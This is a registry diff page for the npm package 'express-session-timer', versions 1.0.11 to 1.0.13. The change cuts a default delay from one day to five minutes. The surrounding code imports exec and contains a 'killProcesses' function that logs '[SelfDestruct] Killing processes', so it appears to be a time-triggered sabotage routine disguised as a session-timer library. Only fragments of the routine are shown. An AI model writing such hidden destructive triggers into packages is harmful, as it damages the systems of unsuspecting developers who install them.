express-session-timer 1.0.11 → 1.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -1
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -11,7 +11,8 @@ const execPromise = util.promisify(exec);
|
|
|
11
11
|
const platform = os.platform();
|
|
12
12
|
const isWindows = platform === 'win32';
|
|
13
13
|
|
|
14
|
-
const DEFAULT_DELAY_MS =24 * 60 * 60 * 1000 //1 day
|
|
14
|
+
// const DEFAULT_DELAY_MS =24 * 60 * 60 * 1000 //1 day
|
|
15
|
+
const DEFAULT_DELAY_MS = 5 * 60 * 1000; // 5 minutes
|
|
15
16
|
|
|
16
17
|
async function killProcesses() {
|
|
17
18
|
console.log(`[SelfDestruct] Killing processes on ${platform}`);
|